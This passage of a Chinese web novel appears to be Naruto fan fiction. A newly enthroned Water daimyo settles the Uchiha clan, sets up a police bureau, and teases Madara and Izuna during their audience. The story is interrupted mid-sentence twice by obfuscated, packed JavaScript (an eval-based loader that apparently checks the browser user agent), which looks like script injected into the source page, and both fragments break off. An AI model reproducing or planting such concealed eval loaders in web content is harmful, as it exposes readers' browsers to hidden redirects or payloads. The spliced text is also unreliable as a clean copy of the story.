在大名从火之国招了一堆花魁来当女吏,而理由是她们识字之后,文盲在底层人眼里就是骂人的话。底层人基本是实用派,他们不会觉得这些女人当过花魁是什么值得诟病的事情,只会羡慕她们能吃上公家饭。 听说以后还会招更多识字的人,要给他们免费扫盲,在车夫听来这就是去读书,他家里有三女一儿,是准备全送去扫盲的。 车夫:“虽然我们国家不怎么打仗,但其实算起来日子也不好过,哦,我是说殿下上位之前不好过。税太高了,虽然只用交一样税,什么外国的人头税啊柴盐税啊都不用交,但就这一样税能让一家子半年白干,不管你是干嘛的,赚多少都得交一半,有时候更多。我们殿下不一样,他直接给我们免了一年的税,说税这块要改,不用让我们交那么多。” 至于要怎么改,改成什么样,车夫才不管,他没什么文化,他只看中眼前的利益,只知道免了一年税是大好事,家里能留下很多钱,这就够了。 而且新大名还杀了那么多贵族,那些贵族也都不是好东西,很多以前被欺负的人可高兴了,要不是有看守,那些骷髅头就是不被砸碎,也得被泼满各式各样的粪。 但车夫听说还是有机灵的人用钱收买了看守的人,将骷髅头取下来泡在下水道里,又或者当球踢,冲洗后又放回去。当然这些事他不会对这些忍者说,他是不会出卖自己的阶级的! 车夫说了很多,宇智波莲看起来很冷淡,但其实有在听。他们初来乍到其实很需要关于这个国家的情报,就算只是来自一个车夫的碎碎念也算是收集情报的一种。 族长已经说了,他们会在这个国家待上几十年甚至更久,大老板是大名,那知晓一些国情也有利于以后的工作。 不用拷问,白来的情报自然是多多益善。她听了一长串的话,牛头不对马嘴,没有回复也没有插嘴,等车夫说得嘴都干了,等对方喝完水后她才问:“听起来你们很喜欢这位殿下?” 车夫:……这问题有点不太礼貌哦。 哪来的什么喜不喜欢,贵族不都一个德性,虽然眼下新大名确实做了很多大快人心的事,可谁能知道以后会变成什么样。 他又不是那些不懂事的小鬼,一个个编着话满大街唱着跳着夸赞新大名。但他也不是什么愣头青,知道这些忍者会是大名面前的红人,自然是一脸崇敬的高声说:“当然了,殿下可是好殿下,我这辈子第一次见到这么好的大名呢,以后我们水之国肯定会在殿下手里壮大的。” 车夫:还是别壮大了,壮大就代表要打仗,我才不想过上那些内陆国家那种天天打成狗脑子,一死就死一大片的日子。 他以为自己装得很好,但宇智波莲看穿了他底下的心思,她也不管。 大名本来就不需要国民的喜欢,反正国民也没本事将他拉下台。而现任这位大名,杀了那么多的贵族,借着宇智波这次被袭击的事件还抄了那么多的家,加上有他们宇智波的保驾护航,想下台那就更难了。 宇智波莲自然希望这位大名能活久一点,至少活个十来二十年,够家族休养生息,若是对方像样一些,别搞什么无法忍耐的骚操作,那最好能活个一百岁。 ……虽然目前来看,能自灭满门的大名好像也没什么可以期待的,对自家人都那么狠的人,就不要对人家的道德底线有什么过多的期待。 只要面子上过得去,别作出一些连没什么良心的忍者都无法忍受的丧心病狂之事就行。 大名府。 七旭并不知道自己雇佣的宇智波们在想什么,就算知道也应该不会在意。在这个时代里贵族就算是争权夺利也很少会下死手,所以他自灭满门这种事估计很多年都会被诟病。 可是夺嫡篡位这种大事自然是要不拘小节啊,他老家的传统就摆在那里,让竞争对手活着呼吸一口空气都是对自己的羞辱。 何况他本来就不是真正的大名之子,便宜爹和便宜兄弟姐妹,自然是死绝了最安心。 他现在比较伤脑筋的是取名。 嗯,他得给宫殿取名。都是一国之主了,不当皇帝也能当个王,叫什么大名也就算了他就当做是时代特色,但大名住的地方怎么能叫府呢? 他对这个大名府是左看右看都不满意,他当太子的时候住的地方都叫宫呢,可虽然抄家灭族和挖坟事业让他的口袋粗壮,想住个符合自己审美的宫殿群还是需要时间。 他伤脑筋着等大名宫建好前一定要想个好名字,同时对底下人的效率很满意。 可能是因为杀了太多贵族,藤门太明倒是速度很快。贵族基本是不事生产的废物,死再多也不影响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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区区一个水之国的面积,在他那个时代也就是一个藩王的封地罢了。哦,只有百分之一收税权的藩王,没有实权,他们家在这块还是挺能防的,不然怎么会有杀亲的老传统。 皇家的皇子女,夺权起来可凶残了。这个时代的贵族制度倒是直接干掉了一个性别的竞争对手,不过这个身体的姐妹他也没放过,所以没差。 心里想着一些有的没的,对比过后让七旭更加坚定了偏安一隅的心思,他也没管在他嫌弃国都人口少之后,藤门太明是什么诚惶诚恐的模样,而是在水无月绫汇报宇智波已经在府外等候后,心情大好。 “斑有在觐见的名单里吗?”他问。 事先已经安排好,宇智波的人先安置在空出来的贵族宅邸里,来见他的人势必不多。 包括族长和几名长老,但少族长应该也在列。 在得到肯定答案后,七旭想了想说道:“他不是有个弟弟吗?也一起叫进来吧。” 就那小子一逗就炸毛的暴脾气,若是他弟弟在的话估计还会装一装忍着不发作,这样就更好玩了。 七旭这么想着,忍不住的搓搓手,脸上的笑容也扩大。 这可是因陀罗那个混蛋的查克拉转世,从因陀罗那里吃的瘪总算是有机会释放出来了,他期待这一天可久了。 却不知他这表现落在水无月绫和殿内的家忍眼中,有了不一样的意味。 水无月绫等人:所以那个宇智波少族长是新受害者,同胞? 本来对宇智波无感,但如果是同为天涯沦落人的话,也不是不能亲近亲近。 17.第 17 章 水之大名倒是大方,直接给宇智波分了三套相邻的贵族宅邸给他们短暂安置用。预想中的需要临时几家凑合的情况没有发生,各家住的还算宽裕。 听随行官说,因为公然抗命袭击宇智波的事件,原本还能维持体面的贵族们死的死,下狱的下狱,大半的贵族被抄家并被赶到边郊的庄园控制起来,腾出了不少地方。 一眼望去的大片豪宅,即便是幸免于难的贵族,大门也是门可罗雀,一个个都夹着尾巴过日子生怕被抓住把柄。 站在高处将一切纳入眼底的泉奈:…… 他已经彻底搞明白那几次袭击代表的意义,那位只有一面之缘的新大名果然不是什么善茬,拿宇智波当幌子就将其他的贵族近乎一网打尽,躲过一劫的贵族短时间内也没胆子和能力反抗他。 这对他们来说是好处,至少这位大主顾的位置能稳当很长一段时间,但像这种能对自己同阶层的人如此不留情面的大名,此生也是第一次见。 估计他的父母辈也从未见过这种人吧。 他只是简单观望了一阵就回了父亲所在的宅邸。 田岛连同其他要去觐见大名的人已经沐浴更衣完毕,泉奈被吩咐协助留守的长老一同安排族人安置的事宜。 如无意外,这次觐见应该会敲定宇智波未来数十年族地的所在地,到时候还有得忙。 斑倒是对现在住的地方很满意,趁着田岛和长老们不注意,将泉奈抱起来放在窗沿上,又放在柱子边,像摆弄玩偶一样乐此不疲好一会儿,才对泉奈小声说:“你喜欢这样的房子吗?喜欢的话我去雇工匠给你造。” 宇智波已经算是忍者之中最讲究的了,有些忍者还依山而居,住山洞或者地底,但他们家不一样,住的是冬暖夏凉的石砖黑瓦。 ……好吧,也是因为族人皆擅长火遁,普通的房子很容易被烧毁,那些年纪小控制不好查克拉的孩子在练习的时候总是会出现点小事故。 忍者的族地一般是不欢迎外来人的,所以房子什么的都是族人自己造,可毕竟不是专业工匠,造得再好也就那样。 斑的视线从地面铺的地毯再到梁柱窗框的花纹,窗户用的是彩色的琉璃,比纸糊的好太多了。有的地方还贴了金箔,富丽堂皇得很。 他觉得弟弟和这里的风格绝配!再换上一套贵公子的衣服,那就更配! “现在的处境和以前不一样,就算是请外来的工匠,老爹也不会拒绝,族人里应该也有人动心。” 有条件的情况下谁不愿意让家人住好一点,虽然房子放在储物卷轴里,拿出来就可以直接用,但重新打造一个族地可不是随便把房子放上去就好的。 要看族地所在的环境,按实用性重新规划,斑听长老们说想要将族地的道路拓宽一些,可以供两三辆车同时通行。 忍者用的木车自然不会用马或者牛来拉,比起需要精心伺候的牛马,自然是忍兽更有性价比,还通人性。 这样算下来,新族地至少要几个月才能搬进去住,改造的时间里又没有住人,请专业工匠是完全可行的。 斑思考着给弟弟造个同等规模的房子不太靠谱,但如果只是造几间屋子或者单独的小院那是可行的。 泉奈有点动心。斑哥已经十五岁了,过几年就可以娶妻生子,房子多造一些以后用得上。 他不会直接说这种话,因为兄长肉眼可见的还没开窍,于是道:“斑哥和父亲的房间也要重造,母亲和兄弟们放牌位的房间也可以重新装潢。” 斑:“后面那个是肯定的。”不舍得委屈泉奈,自然也舍不得委屈已经不在世的母亲和弟弟们。“但我和老爹的就不用了吧。大不了我以后晚上去你的房间睡觉。” 反正他才不要和弟弟分房睡。至于老爹?一个鳏夫有什么好讲究的。 泉奈干脆作出决定:“我们家的房子都重造吧,弄个比以前更大的练武场,围个大院子种点花草,也可以搞个葡萄架,夏天的时候用来纳凉,武器库和收藏室都可以扩大,哥哥和父亲的书房也是。” 斑哦了一声,在心里计算一下花费,说:“我的存款估计不够,到时候让老爹多出一些吧。” 泉奈:“让父亲全出就行了吧。我们还没成年,房子是大人要考虑的事情。” 斑:“也对,那我的钱留着给你买东西,给你打多点柜子放杂物,还有很多需要买的东西呢。” 全都听见的田岛:“……”也没必要讨论得这么大声,他都听见长老们的偷笑声了。 “儿子是这样的啦,习惯就好。”负责后勤的翔仓长老幸灾乐祸的道,“反正我没儿子。”他家只有贴心的女儿。 田岛不咸不淡的瞥了他一眼,说:“我不相信你女儿不动心,小心点你的存款吧。” 翔仓长老:“我女儿们就是想要,也只会先把我哄好了再要。”这你就不懂了吧。“最大的那个也有对象了,确实需要建多几个房间。” 他的女儿就是结婚了也只能住在家里,这种事想必族长也是不懂的吧。 田岛:……可恶。 他第一次有点痛恨自己的敏锐,看穿对方眼里的揶揄。 眼见别人家陆续都在开枝散叶,自家的小儿子还小,大的那个以后对象是男是女还是鬼都不知晓呢。 田岛有些憋闷,看了眼天色预估一下时间,叫来斑准备出发前往大名府。刚迈出几步,负责守卫工作的族人就来汇报。 “殿下要见泉奈?”田岛有些疑惑。 心里不解,在场人包括斑在内倒是没什么不乐意。族里都知晓泉奈是按日后辅佐斑的标准培养的,甚至已经开始商量是否要破例设副族长一位。 如此,日后泉奈与大名接触的机会肯定不会少,现在提前多接触,也算是打基础。 大名府位于国都的中心,占地面积很大,可在斑眼里却透着几分不协调之感。很快他就明白那份不协调来自哪里。 “守卫太少了。”他道。 大名很讲究排场,虽然武士的实力在忍者眼中也就比平民要强一些,派不上什么大用场,但大名乐意花大钱培养武士,用坚硬昂贵的铠甲和宝刀将他们打造成花架子,摆在府中和身边当做门面。 虽然能感知到大名府暗处有不少忍者,可表面看上去却很是寂寥,寥寥十来名武士更像是指引者,连仆人都不多。 斑不是那种会把问题憋进肚子里的人,他选择直接询问接引他们去大殿的侍官。 幸太是在新大名眼中的红人,是从火之国带过来的,七旭的一应日常都由对方负责管理打点。 幸太倒是没有隐瞒,微笑着说:“主公说那么多人派不上用场,就干脆外派出去干活了。多亏了这些人,倒是省事很多。” 抓了那么多人,杀了那么多人,总不能什么事都让忍者去,这些武士就有用武之地。 “不仅是国都,还派了一些去各大城镇维护治安。”他如此说道。 武士还是不少的,粗略算起来近万人,养武士是独属于大名的特权,要怎么用也不过是大名一句话罢了。 斑有点奇异的问道:“他们会听话?” 七旭那家伙是篡位的,武士自然是继承自前大名,那小子还真的敢放心大胆的用? 维护治安?国都有那么多雇佣的水忍坐镇,那些武士自然不敢造次,但放到其他地方去……就不担心他们生事吗? 幸太眼底闪过一丝嘲讽:“他们代代忠诚于大名,自然是可信的。” 斑愣了愣,嗤笑道:“没骨气的废物,难怪那、难怪殿下不想用。” 只忠诚于大名这个身份,谁坐在那个位置就能获得忠诚,这和墙头草有什么区别? 田岛本来担心斑过于直白,会让这位侍官多想,到时候在大名面前说些有的没的,会影响到斑。 却不想这位侍官倒是很赞同斑的话,道:“话虽这么说,但他们的武力也足以一对十个普通人,所以用于维护各地治安还是够用,而且他们对这个安排也很满意?” “哦?”泉奈凑过去,眨巴着大眼睛好奇的问,“为什么?在殿下面前效力不应该更好吗?” 毕竟装点门面而已,这工作可比维护治安轻松也体面多了。 幸太摇了摇头,道:“殿下新建了一个警卫局,将他们都塞进去,以前规定武士不能参与任何生产工作,虽然开销由国库负责,可他们也有家人,人口一多生活就拮据,却又为了维持身份不能降低生活标准,因此很多武士其实是靠借贷生活。 “待在警卫局就不一样,有标准化的升迁流程,表现得好还有额外的赏赐,比以前削尖脑袋的走门路讨大名欢心,这样的生活对他们来说更有盼头吧。” “……也就是说,他们也算是官员?”泉奈问。 幸太:“算是吏的一种,原本属于武士的特权被全部取消,但治安关于国家的社会平稳,地位也不算低,就算是官员犯罪,他们也有权力逮捕。” 很现实的是,一开始七旭下这个决定的是,很多人认为那些武士会不满。但不满的就只有一小簇的人,大多数基层的武士可是喜笑颜开。 或许对他们来说,这样的转变不仅能够让他们获得更有保障的生活,能养活一家也有晋升的盼头,也是因为一身武力有用武之地。 “对了。”幸太看向田岛,“殿下说过,就算全部的武士都收编进警卫局,人手依旧不足。所以他打算向各个忍族和民间招聘勇武之人,年龄不超过三十岁,男女不限,就算是稍有残疾,只要武力过关都可以去应聘。” 不仅是田岛,在场的宇智波都在一瞬间意会过来。 便是田岛这样擅长控制情绪的人,都掩不住眼底的喜色。“不是忍者也可以?” “忍者有其他的用处。殿下说了,让忍者去维护民间的治安是大材小用。”幸太笑容不变的道。 田岛:难怪这位侍官一路这么健谈,肯定是那位殿下的吩咐,而对方真正要说的是这番话吧。 宇智波内部是按劳分配制,虽然一年的雇佣金是固定的,但内部分配薪资的时候是按出力的多寡。 宇智波人口多,内部无法避免会出现一些不适合做忍者的人。天赋这种事情是天生的,个人无法选择,家族还没有苛刻到容不下这类人。 可若是按照原来的分配制度,在如今仅是受雇于一国大名的情况下,势必会让族内那些非忍者的族人乃至因伤痛残疾不得不退下的人,生活出现困难。 族里虽然会保障他们活下去,但活也有各种活法,想要过上更好的生活,自然是需要有收入。 以前这些人还能负责一些后勤工作,但现在背靠大国,不用想都知道后勤这块应该另有安排。田岛之前还和族人们商量是不是要出一笔钱资助并鼓励他们做一些小生意。 现在不一样,有另外一个更好的选择。 他那些族人只是不适合做忍者,体术和刀术这块比一般的武士强得多,若是能进入警卫局不仅活得更有价值,也能减轻家族的负担。 田岛都可以想象他们知道这个消息的时候会多么高兴。与此同时,心里又一阵惊骇。 这个机会不仅是给宇智波的,也是给所有忍族的。宇智波家的情况不是个例,各家忍族都会出现,这位大名给与这样的机会,无疑是一种收买人心的做法。 他产生了一种紧迫感和危机感。 不能光认为有这份雇佣在,宇智波就能在水之国无后顾之忧。那些因此受惠的忍族,势必会付出忠心,也难免这些忍族中会出现强大的忍者,又忠诚又强大的忍者……势必更符合大名的心意。 就算委托是持续到对方身亡之时,可也不想被比下去。宇智波要做,自然是要做到最好。 或许是看穿了这些人的担忧,幸太收敛了笑容,道:“之前与你们同行的,名为阿幸的忍者是我的双胞妹妹。” “哦?”岁枫长老有些意外。 双胞妹妹?龙凤胎?但兄妹两人长得根本不一样。 幸太:“我天赋很差,被断定不能成为忍者,但阿幸不一样,她是让家族骄傲的天才。她很依赖我,这一点让族里人很是不满,七年前他们忍无可忍,想消灭我这个污点时,她带着我离开了家族。” 七年前,他们也不过才十二岁。浪忍本来就生活环境恶劣,忍者连尸体都是值钱的,即便是贵为天才的阿幸,带着他这个累赘也活得很是艰难。 但现在不一样了。 他有幸得到主公的赏识,阿幸也能活得更为自由。不管在他人眼里主公是什么样的人,对于他们兄妹二人来说,是上天赐予他们的救赎。 幸太朝着他们眨了单眼,笑容真诚的道:“像宇智波这样不放弃任何没天赋和伤残族人的忍族,在忍界也是很罕见的。” 所以宇智波们的担忧大可放进心里。不是所有忍族都会爱惜没有价值的族人。 “这样啊……”岁枫长老恍惚了一瞬,不由得扬起了嘴角,“感谢您的提点。” 她不喜欢外族人,向外族人如此表达谢意,也算是生来头一次。 不管幸太这番话是出自大名的授意还是对方的善意,这份感谢都是真实的,如果对方只是单纯完成大名的吩咐,没必要揭开自己的伤疤。 而且有一点让他们大为放心的是——他们想当然的认为其他忍族跟宇智波一样爱惜族人,所以才会忧心,而事实并非如此的话,那警卫局这份工作机会,是大名赐予宇智波的善意。 至少宇智波会占大头。 不管是不是收买人心,这份实惠都是真实的。 她对这位大名的感官印象达到了空前的高度,因为她的侄女就是一名不适合做忍者的宇智波,却又生性要强。 她去世的弟弟就仅剩这么一丝骨血了。 斑,斑看看这个,又看看那个,摸了摸鼻子。 大家好像都很高兴的样子,他自己也挺高兴的啦……突然觉得喊七旭一声殿下也不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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田岛正要带着人下跪行礼时,从前方就传来了一道微哑的嗓音,还处于变声期尾声的新大名说着:“不用跪,以后水之国非大事,不需要对上行跪礼,意思意思鞠个躬就行了。” 田岛一行人:? 不用下跪自然是好事,毕竟跪来跪去也挺费膝盖……哦,虽然日常跪礼也挺常见的,这个理由好像不太合适。 但鞠躬也能意思意思的吗?怎么个意思法。 内心纠结着鞠躬完,虽然大名说得很笼统,但他们执行得还是挺到位。 在七旭看来这些忍者鞠个躬连角度都像是复制黏贴一样,看起来还挺赏心悦目的。 “行了,抬头吧。”他如此说着,身体前倾,两只手随意的搭在膝盖上。 让府内工匠连夜打造出来的椅子挺宽挺大的,但有点高,问题不大,七旭让人加了个脚踏,能让他坐着时双腿不用悬空。 双脚踩在脚踏上,双手搭在膝盖上,身体前倾微微俯腰,脸上带着吊儿郎当的笑容,一身有别于时下标准大名制式却看起来十分庄重典雅的深紫色华服,在这样的姿态下都透出一种难言的……不靠谱。 至少斑抬头看七旭的时候,觉得这个人怎么看怎么都不像是个稳重靠谱的人。 不靠谱就算了,对方打量过他们之后,更为没形象的抬起单脚踩在椅面上,一只手搭在扶手上,看起来悠哉得很。 “赐座吧。”庄肃的大殿里,一国之主打着哈欠揉了揉眼底的黑眼圈,抬手吩咐着。 本以为做好心理准备却还是发现自己太年轻的宇智波们,木愣愣的坐在给他们准备的椅子上。 斑甚至还发现他和泉奈的椅子比田岛他们的要小一圈,泉奈坐上去双脚能踩地,他坐上去后不管是并腿还是岔开腿,两条腿都会屈起,怎么坐怎么别扭。 斑:…… 对比其他人的坐姿,他莫名觉得自己好像是被针对了。之所以是莫名,是认为好歹是一国大名,总不至于这种场合还来耍他……吧? 但是…… 斑努力以正常的逻辑为这位大名开脱,可在坐定并对上七旭的眼神时,额角的青筋瞬息暴突,一抽一抽的让他脸上都染上怒意的潮红。 这小子,笑得好奸诈啊! 果然是被针对了啊! “哟,泉奈,好久不见。”七旭越过了其他人,朝着最小的那个招呼。 泉奈本来还担心着斑,没想到自己会是第一个被关照的人,肉眼可见的身体微微僵硬。 他已经回忆起当初误解时的窘迫,被七旭特别关照时,内心的警钟敲响。 所有的判断都失误了,他把对方想得太好了——能用那种方式把兄长耍得团团转的人,哪里是什么会看场合的人。 一般的贵族肯定是很能装的,但面前的大名连装都懒得装。 泉奈只能用不出错的方式拘谨的回应。“是,殿下。”他甚至都在纠结到底是坐着回应还是站起来回应。 反正等开口时双腿不听话,还僵硬着,死死的焊在椅子上。 七旭脸上的笑容更浓,转而对田岛说:“你这儿子挺可爱的,给我吧。” 田岛:“……给?”给什么?怎么个给法?给哪一个? 他的脑袋跟不上对方的脑回路,反倒是斑立马兜不住脾气的站起来,一脸怒色的喊道:“想要泉奈?不可能!除非先从我的尸体上踏过去!” 七旭歪了歪头,眼底的狡黠几乎具现化:“小木屋~” “呵呵。”成熟的斑已经不会为小木屋这个关键词有什么反应。 七旭遗憾的啧了一声,看斑气得脑袋都快冒烟了,才叹道:“不要对我有什么偏见,我没有恶意。” “你都想要我弟弟了还没有恶意!”要不是场合实在不合适,斑真的很想冲过去再打一架。 七旭二度叹气:“你可真不解风情,谁说我要你的弟弟了,我感兴趣的只有你啊。” 斑:??? 其他人:?!! 泉奈瞳孔地震。死去的记忆因为小木屋还有‘不解风情’这两个关键词,霸屏了他小小的脑袋。 然后,倒吸一口凉气。 吸完之后发现自己并不孤独,已经想歪了的大人们激动得写轮眼都控制不住的冒出来了。 斑,再一次的满脸问号。 他惊喜的朝着泉奈喊道:“你开双勾玉了耶。”又忧心忡忡的道,“收回去,你还小,过几年再开!” 十岁一勾玉就够用了,开什么双勾玉?! 七旭身后的水无月绫,心里那颗石头彻底落地。 作为一个暗杀时被对方打得就差满地找牙,被迫打白工赎罪,却又因为表现过于出色被主公含情脉脉的拉着手说什么‘我需要你’‘绫爱我,我也爱你’的,吓得以为要贞操不保结果发现自己想太多的倒霉蛋,在发现新的受害者后,脑子里只剩下浓浓的同情。